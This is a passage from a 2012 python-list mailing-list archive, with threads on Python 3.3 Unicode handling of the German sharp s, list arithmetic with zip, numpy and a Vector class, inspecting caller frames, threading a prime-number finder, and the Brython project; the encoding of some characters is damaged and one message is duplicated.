bis heute genialste Streich unsere gro?en Kosmologen: Die Geheim-Vorhersage. - Karl Kaos ?ber R?diger Thomas in dsa From dfnsonfsduifb at gmx.de Wed Dec 19 10:22:22 2012 From: dfnsonfsduifb at gmx.de (Johannes Bauer) Date: Wed, 19 Dec 2012 16:22:22 +0100 Subject: Py 3.3, unicode / upper() In-Reply-To: References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: On 19.12.2012 16:18, Johannes Bauer wrote: > How do those arbitrary numbers prove anything at all? Why do you draw > the conclusion that it's broken by design? What do you expect? You're > very vague here. Just to show how ridiculously pointless your numers > are, your example gives 84 on Python3.2 for any input of yours. ...on Python3.2 on MY system is what I meant to say (x86_64 Linux). Sorry. Also, further reading: http://de.wikipedia.org/wiki/Gro%C3%9Fes_%C3%9F http://en.wikipedia.org/wiki/Capital_%E1%BA%9E Regards, Johannes -- >> Wo hattest Du das Beben nochmal GENAU vorhergesagt? > Zumindest nicht ?ffentlich! Ah, der neueste und bis heute genialste Streich unsere gro?en Kosmologen: Die Geheim-Vorhersage. - Karl Kaos ?ber R?diger Thomas in dsa From laureote-loic at hotmail.fr Wed Dec 19 10:24:11 2012 From: laureote-loic at hotmail.fr (=?iso-8859-1?B?bG/vYyBMYXVy6W90ZQ==?=) Date: Wed, 19 Dec 2012 16:24:11 +0100 Subject: calculation on lists In-Reply-To: References: , Message-ID: Thank for your answer, I found something allowing to avoid loops. I use operator overloading. import math class Vector: def __init__(self, x=0, y=0): self.x=x self.y=y def __eq__(self, vB): return (self.x==vB.x) and (self.y==vB.y) def __add__(self, vB): return Vector(self.x+vB.x,self.y+vB.y) def __sub__(self, vB): return Vector(self.x-vB.x,self.y-vB.y) def __mul__(self, c): if isinstance(c,Vector): return Vector(self.x*c.x,self.y*c.y) else: return Vector(c*self.x,c*self.y) def __div__(self, c): if isinstance(c,Vector): return Vector(self.x/c.x,self.y/c.y) else: return Vector(c*self.x,c*self.y) a = Vector(4,5) b = Vector(6,7) print a,b print b*b+a thx > Date: Wed, 19 Dec 2012 13:38:28 +0100 > Subject: Re: calculation on lists > From: vlastimil.brom at gmail.com > To: laureote-loic at hotmail.fr > CC: python-list at python.org > > 2012/12/19 lo?c Laur?ote : > hi, > I > have a question, > is there a tool to calculate on list ? > > something like : > > >a= [1,1,1,1] > >b = [5,9,8,4] > >c = a+b*a > >print c > >[6,10,9,5] > > Thx > > ====== > > Hi, > for such simpler cases, you may try list comprehensions and probably > the zip(...) function > > >>> [a+b*a for a,b in zip([1,1,1,1], [5,9,8,4])] > [6, 10, 9, 5] > >>> > > hth, > vbr -------------- next part -------------- An HTML attachment was scrubbed... URL: From christian at python.org Wed Dec 19 10:33:50 2012 From: christian at python.org (Christian Heimes) Date: Wed, 19 Dec 2012 16:33:50 +0100 Subject: Py 3.3, unicode / upper() In-Reply-To: <20121219150140.GA24402@sleipnir.bytereef.org> References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> <20121219150140.GA24402@sleipnir.bytereef.org> Message-ID: <50D1DE5E.9000707@python.org> Am 19.12.2012 16:01, schrieb Stefan Krah: > The uppercase ? isn't really needed, since ? does not occur at the beginning > of a word. As far as I know, most Germans wouldn't even know that it has > existed at some point or how to write it. I think Python 3.3+ is using uppercase mapping (uc) instead of simple upper case (suc). Some background: The old German Fractur has three variants of the letter S: capital s: S long s: ? round s: s. ? is a ligature of ?s. ? is usually used at the beginning or middle of a syllable while s is used at the end of a syllable. Compare Wach?tube (Wach-Stube == guard room) to Wachstube (Wachs-Tube == tube of wax). :) Christian From rosuav at gmail.com Wed Dec 19 10:40:43 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 20 Dec 2012 02:40:43 +1100 Subject: Py 3.3, unicode / upper() In-Reply-To: References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: On Thu, Dec 20, 2012 at 2:18 AM, Johannes Bauer wrote: > On 19.12.2012 15:23, wxjmfauth at gmail.com wrote: >> I was using the German word "Stra?e" (Strasse) ? German >> translation from "street" ? to illustrate the catastrophic and >> completely wrong-by-design Unicode handling in Py3.3, this >> time from a memory point of view (not speed): >> >>>>> sys.getsizeof('Stra?e') >> 43 >>>>> sys.getsizeof('STRA?E') >> 50 >> >> instead of a sane (Py3.2) >> >>>>> sys.getsizeof('Stra?e') >> 42 >>>>> sys.getsizeof('STRA?E') >> 42 > > How do those arbitrary numbers prove anything at all? Why do you draw > the conclusion that it's broken by design? What do you expect? You're > very vague here. Just to show how ridiculously pointless your numers > are, your example gives 84 on Python3.2 for any input of yours. You may not be familiar with jmf. He's one of our resident trolls, and he has a bee in his bonnet about PEP 393 strings, on the basis that they take up more space in memory than a narrow build of Python 3.2 would, for a string with lots of BMP characters and one non-BMP. In 3.2 narrow builds, strings were stored in UTF-16, with *surrogate pairs* for non-BMP characters. This means that len() counts them twice, as does string indexing/slicing. That's a major bug, especially as your Python code will do different things on different platforms - most Linux builds of 3.2 are "wide" builds, storing characters in four bytes each. PEP 393 brings wide build semantics to all Pythons, while achieving memory savings better than a narrow build can (with PEP 393 strings, any all-ASCII or all-Latin-1 strings will be stored one byte per character). Every now and then, though, jmf points out *yet again* that his beloved and buggy narrow build consumes less memory and runs faster than the oh so terrible 3.3 on some contrived example. It gets rather tiresome. Interestingly, IDLE on my Windows box can't handle the bolded characters very well... >>> s="\U0001d407\U0001d41e\U0001d425\U0001d425\U0001d428, \U0001d430\U0001d428\U0001d42b\U0001d425\U0001d41d!" >>> print(s) Traceback (most recent call last): File "", line 1, in print(s) UnicodeEncodeError: 'UCS-2' codec can't encode character '\U0001d407' in position 0: Non-BMP character not supported in Tk I think this is most likely a case of "yeah, Windows XP just sucks". But I have no reason or inclination to get myself a newer Windows to find out if it's any different. ChrisA From feedbackflow at gmail.com Wed Dec 19 10:57:36 2012 From: feedbackflow at gmail.com (Bart Thate) Date: Wed, 19 Dec 2012 16:57:36 +0100 Subject: context aware execution Message-ID: Hi All ! Is is possible and if yes, is it more easily possible (i am thinking f_back maybe) to get the context of the caller when in a function ? Like to which variable name is this object assigned ? Or whatever of the callers context that might be of interest. I want in a function or method determine the context of my caller and adapt the functionality accordingly. thnx, Bart -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Wed Dec 19 11:07:56 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 20 Dec 2012 03:07:56 +1100 Subject: context aware execution In-Reply-To: References: Message-ID: On Thu, Dec 20, 2012 at 2:57 AM, Bart Thate wrote: > Hi All ! > > Is is possible and if yes, is it more easily possible (i am thinking f_back > maybe) to get the context of the caller when in a function ? > > Like to which variable name is this object assigned ? > > Or whatever of the callers context that might be of interest. > > I want in a function or method determine the context of my caller and adapt > the functionality accordingly. First off, please don't! Your code will be *extremely* confusing. You can find out what function is calling you, eg by throwing an exception and checking the traceback. My 3AM brain can't think of a way to get the current thread's traceback without throwing, but there may well be a way. (I also don't know of a way to get any other thread's traceback, but that doesn't matter to this discussion.) But finding out what variable name your return value is to be assigned to isn't possible at all. For one thing, it might not be assigned anywhere - it might be being ignored, or it might be used in some other expression, or anything. Usually, the best way to adapt to your caller's environment is to be passed a parameter that specifies the change. ChrisA From feedbackflow at gmail.com Wed Dec 19 11:51:05 2012 From: feedbackflow at gmail.com (Bart Thate) Date: Wed, 19 Dec 2012 17:51:05 +0100 Subject: context aware execution In-Reply-To: References: Message-ID: Thanks for your response Chris ! Ha ! the job of the mad man is todo the things the are not "advisable" and see what gives. Like why it is not advisable and, if possible, their are ways to achieve things that are previously overseen. i already do a lot of travelling of the callstack to see from where a function is called. mostely for logging purposes, like what plugin registered this callback etc. lately i also had the need to log the variable name of a object, and the thought of be able to "break out of the namespace" concept got me thinking what i am thinking of is code that can examine the context it is run in. The object, when called can figure out in what kind of space it is living in and discover what kind of API other objects in the space offer. This is a pre function that gets called before the actual function/method and can thus determine if a certain request can be fullfilled. I bet a decorator could be made, in which i can assign certain caller context references into variables in the function/method ? I use 1 generic parameter object, in which i can stuff lots of things, but i rather have the function be able to see what is around ;] Think of sending JSON over the wire, reconstruct an object with it and then let the object figure out what it can and cannot do in this external environment. Code i use now is this: # life/plugs/context.py # # """ show context. """ ## basic import import sys ## context command def context(event): result = [] frame = sys._getframe() code = frame.f_back.f_code for i in dir(code): print("%s => %s" % (i, getattr(code, i))) del frame context.cmnd = "context" So much to explore ;] -------------- next part -------------- An HTML attachment was scrubbed... URL: From miki.tebeka at gmail.com Wed Dec 19 11:58:17 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 19 Dec 2012 08:58:17 -0800 (PST) Subject: [newbie] plotting pairs of data In-Reply-To: References: Message-ID: <973acf9a-3af6-41d4-a8ea-7086065496ed@googlegroups.com> On Wednesday, December 19, 2012 6:38:30 AM UTC-8, Thomas Bach wrote: > On Wed, Dec 19, 2012 at 05:47:30AM -0800, hugocoolens wrote: > > ['0.0364771 0.55569', '0.132688 0.808496', '0.232877 0.832833', > > '0.332702 0.849128', '0.432695 0.862158'] > xs = [ float(x) for x, _ in map(str.split, l) ] > ys = [ float(y) for _, y in map(str.split, l) ] Let's play golf :) xs, ys = zip(*(map(float, s.split()) for s in l)) From miki.tebeka at gmail.com Wed Dec 19 11:58:17 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 19 Dec 2012 08:58:17 -0800 (PST) Subject: [newbie] plotting pairs of data In-Reply-To: References: Message-ID: <973acf9a-3af6-41d4-a8ea-7086065496ed@googlegroups.com> On Wednesday, December 19, 2012 6:38:30 AM UTC-8, Thomas Bach wrote: > On Wed, Dec 19, 2012 at 05:47:30AM -0800, hugocoolens wrote: > > ['0.0364771 0.55569', '0.132688 0.808496', '0.232877 0.832833', > > '0.332702 0.849128', '0.432695 0.862158'] > xs = [ float(x) for x, _ in map(str.split, l) ] > ys = [ float(y) for _, y in map(str.split, l) ] Let's play golf :) xs, ys = zip(*(map(float, s.split()) for s in l)) From wayne at waynewerner.com Wed Dec 19 12:01:49 2012 From: wayne at waynewerner.com (Wayne Werner) Date: Wed, 19 Dec 2012 11:01:49 -0600 (CST) Subject: context aware execution In-Reply-To: References: Message-ID: On Thu, 20 Dec 2012, Chris Angelico wrote: > On Thu, Dec 20, 2012 at 2:57 AM, Bart Thate wrote: >> I want in a function or method determine the context of my caller and adapt >> the functionality accordingly. > > First off, please don't! Your code will be *extremely* confusing. > > Usually, the best way to adapt to your caller's environment is to be > passed a parameter that specifies the change. Or assume that the caller is smart enough to determine which one of the functions to call, and provide them, with good names. -W From ckaynor at zindagigames.com Wed Dec 19 12:11:14 2012 From: ckaynor at zindagigames.com (Chris Kaynor) Date: Wed, 19 Dec 2012 09:11:14 -0800 Subject: calculation on lists In-Reply-To: References: Message-ID: On Wed, Dec 19, 2012 at 4:38 AM, Vlastimil Brom wrote: > 2012/12/19 lo?c Laur?ote : > hi, > I > have a question, > is there a tool to calculate on list ? > > something like : > > >a= [1,1,1,1] > >b = [5,9,8,4] > >c = a+b*a > >print c > >[6,10,9,5] > > Thx > > ====== > > Hi, > for such simpler cases, you may try list comprehensions and probably > the zip(...) function > > >>> [a+b*a for a,b in zip([1,1,1,1], [5,9,8,4])] > [6, 10, 9, 5] > >>> > You can also use map (Python 2.6): map(lambda a,b: a+b*a, [1,1,1,1], [5,9,8,4]) Note that the lambda can be replaced by any callable which takes 2 arguments. -------------- next part -------------- An HTML attachment was scrubbed... URL: From euaggelidiskwn at gmail.com Wed Dec 19 12:11:37 2012 From: euaggelidiskwn at gmail.com (Kwnstantinos Euaggelidis) Date: Wed, 19 Dec 2012 09:11:37 -0800 (PST) Subject: Problem with Threads Message-ID: <0c84b88a-bb71-4ccd-bd96-a3a3414a8e6b@googlegroups.com> I have this code for Prime Numbers and i want to do it with Threads.. Any idea.?? # prime numbers are only divisible by unity and themselves # (1 is not considered a prime number by convention) import time def isprime(n): if n == 2: return 1 if n % 2 == 0: return 0 max = n**0.5+1 i = 3 while i <= max: if n % i == 0: return 0 i+=2 return 1 print "Please give the maximum number" endnum = input() start = time.time() for i in range(endnum): if isprime(i) == 1: print "Number %d is PRIME" % i print "Elapsed Time: %s" % (time.time() - start) From vlastimil.brom at gmail.com Wed Dec 19 12:24:11 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Wed, 19 Dec 2012 18:24:11 +0100 Subject: calculation on lists In-Reply-To: References: Message-ID: 2012/12/19 lo?c Laur?ote : > hi, > I > have a question, > is there a tool to calculate on list ? > > something like : > >>a= [1,1,1,1] >>b = [5,9,8,4] >>c = a+b*a >>print c >>[6,10,9,5] > > Thx > > -- > http://mail.python.org/mailman/listinfo/python-list > Hi, I guess, if you are interested in effective and more complex matrix computations, you might have a look at numpy: http://www.numpy.org/ Is the following the result you expect? (it seems so, based on the (added) output of your posted code, but its incompatible with the example in the first post). >>> import numpy >>> a=numpy.array([4,5]) >>> b=numpy.array([6,7]) >>> b*b+a array([40, 54]) >>> hth, vbr From ckaynor at zindagigames.com Wed Dec 19 13:02:18 2012 From: ckaynor at zindagigames.com (Chris Kaynor) Date: Wed, 19 Dec 2012 10:02:18 -0800 Subject: calculation on lists In-Reply-To: References: Message-ID: Chris On Wed, Dec 19, 2012 at 7:24 AM, lo?c Laur?ote wrote: > Thank for your answer, > > I found something allowing to avoid loops. > I use operator overloading. > > > import math > > class Vector: > def __init__(self, x=0, y=0): > self.x=x > self.y=y > def __eq__(self, vB): return (self.x==vB.x) and (self.y==vB.y) > def __add__(self, vB): return Vector(self.x+vB.x,self.y+vB.y) > def __sub__(self, vB): return Vector(self.x-vB.x,self.y-vB.y) > def __mul__(self, c): > if isinstance(c,Vector): return Vector(self.x*c.x,self.y*c.y) > else: return Vector(c*self.x,c*self.y) > > > def __div__(self, c): > if isinstance(c,Vector): return Vector(self.x/c.x,self.y/c.y) > else: return Vector(c*self.x,c*self.y) > > > > a = Vector(4,5) > b = Vector(6,7) > print a,b > print b*b+a > > > thx > > Depending on exactly what you are doing, you may also want to look at using NumPy. It is a highly optimized math library for Python. -------------- next part -------------- An HTML attachment was scrubbed... URL: From pierre.quentel at gmail.com Wed Dec 19 13:19:29 2012 From: pierre.quentel at gmail.com (Pierre Quentel) Date: Wed, 19 Dec 2012 10:19:29 -0800 (PST) Subject: Brython - Python in the browser Message-ID: Hi, The objective of Brython is to replace Javascript by Python as the scripting language for web browsers, making it usable on all terminals including smartphones, tablets, connected TVs, etc. Please forgive the lack of ambition ;-) The best introduction is to visit the Brython site (http://www.brython.info). Right click on the page with a clock and take a look at the source code : no Javascript, only Python code inside a tag